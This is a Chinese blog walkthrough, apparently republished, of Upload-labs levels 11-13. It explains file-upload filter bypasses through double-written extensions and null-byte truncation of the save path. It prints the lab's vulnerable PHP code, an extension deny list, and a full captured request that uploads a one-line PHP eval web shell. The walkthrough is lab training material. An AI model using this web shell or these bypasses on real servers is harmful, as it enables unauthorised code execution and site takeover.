zoukankan      html  css  js  c++  java
  • Upload-labs-11-13

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    测试的靶机是作者自己购买的vps搭建的环境,使用了白名单形式访问!

    Pass-11

    • 查看本关卡代码
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
    
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = str_ireplace($deny_ext,"", $file_name);
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;        
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    • 根据代码提示确认 $file_name = str_ireplace($deny_ext,"", $file_name); 会将黑名单中的后缀进行过滤匹配,如果匹配到了就会替换为空,简单理解就是匹配到了黑名单的后缀就删除掉
    • 那么根据上面的提示了解str_ireplace的特性就知道这里是可以绕过的,具体看如下描述:
    • 假如上传的文件是bmfx.pphphp的时候,当匹配到第一个p的时候是不满足条件的,会继续向后匹配,但是当匹配到第二个字符的时候,也就是p,再向后看发现刚好符合黑名单里面的php关键字,既然可以匹配了,那么就直接删除php关键字,删除之后,将前面留下来的p字符和后面的hp合并起来刚好是php后缀,这样就刚好绕过str_ireplace()函数
    • 通过burpsuite抓包操作

    • 看看服务的是否成功

    Pass-12

    • 查看本关卡代码
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    • 再根据提示可确认路径可以操控,可同0x00截断来上传shell
    POST /Pass-12/index.php?save_path=../upload/bmfx.php%00 HTTP/1.1
    Host: 106.54.35.126
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://106.54.35.126/Pass-12/index.php?save_path=../upload/
    Connection: close
    Content-Type: multipart/form-data; boundary=---------------------------126263195221606
    Content-Length: 328
    
    -----------------------------126263195221606
    Content-Disposition: form-data; name="upload_file"; filename="bmfx.png"
    Content-Type: image/png
    
    <?php @eval($_POST['ant']);?>
    -----------------------------126263195221606
    Content-Disposition: form-data; name="submit"
    
    涓婁紶
    -----------------------------126263195221606--

    • 注意,我这里是上传失败的,但是姿势是对的,原因如下:
    • 我目标靶机的版本不在受影响范围内,我的php版本是5.5.38, 漏洞影响版本必须在5.4.x<= 5.4.39,5.5.x<= 5.5.23,5.6.x <= 5.6.7 ,且magic_quotes_gpc是off状态
    • 对于的漏洞CVE编号:https://nvd.nist.gov/vuln/detail/CVE-2015-2348 
    • 利用原理方式:https://www.cnblogs.com/cyjaysun/p/4390930.html
    • 具体关于0x00截断原理
    • 在C/PHP等语言中,截断的核心,就是chr(0)。chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是于这个空字符。当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。换句话说就是会误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生。可能有时候我们会看到%00截断和0x00截断等说法。那么 %00截断和0x00截断有啥区别呢?其实他们的截断原理都一样,%00只不过是对ascii码中的0对应的字符编码后的结果。0x开头表示16进制,0在十六进制中是00, 0x00则是%00解码成的16进制。
    • 需要注意:当url中的参数是通过GET方式获取时,%00会被自动解码。而当参数是通过POST方式获取时,是不会自动解码的,也就是说%00只会原样被当成字符串来输出。所以通过POST方式请求此类参数的时候,我们需要手动将它的十六进制改写为0x00。
    • 可参考:https://www.zhaosimeng.cn/writeup/66.html

    Pass-13

    • 查看本关卡代码
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传失败";
            }
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    • 本关卡跟上一关卡绕过方式是一样的,只是上一关卡在在代码里面是使用的GET请求方式控制上传路径,本关卡是使用POST请求控制路径
    • GET请求的url参数中的%00传送到服务器会被自动解码,而POST请求不会被解码,所以需要达到效果就要使用burpsuite在十六进制里面将其直接更改为00即可
    • 具体影响范围跟上一关卡一样,我本关卡测试同样不成功,但姿势是对的
    • 具体看如下演示

    •  ASCII码对照表:http://ascii.911cha.com/
    •  ok,上述只要在受影响的范围内,符合对于条件,就会成功
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    Linux中gdb 查看core堆栈信息
    爱因斯坦名言
    Symbian OS 源码下载方式
    Windows 2003+VS2005+SP1 “无法使用此产品的安装源,请确认安装源存在,并且您可以访问它”的错误
    Visual Studio 2012 Ultimate RTM 序列号
    STL容器erase的使用陷阱
    C++ 迭代器失效
    C++ 类的静态成员详细讲解[静态成员变量链接错误]
    Ubuntu 启动黑屏解决
    android中KSOAP2中的anytype{}问题
  • 原文地址:https://www.cnblogs.com/autopwn/p/13748911.html
Copyright © 2011-2022 走看看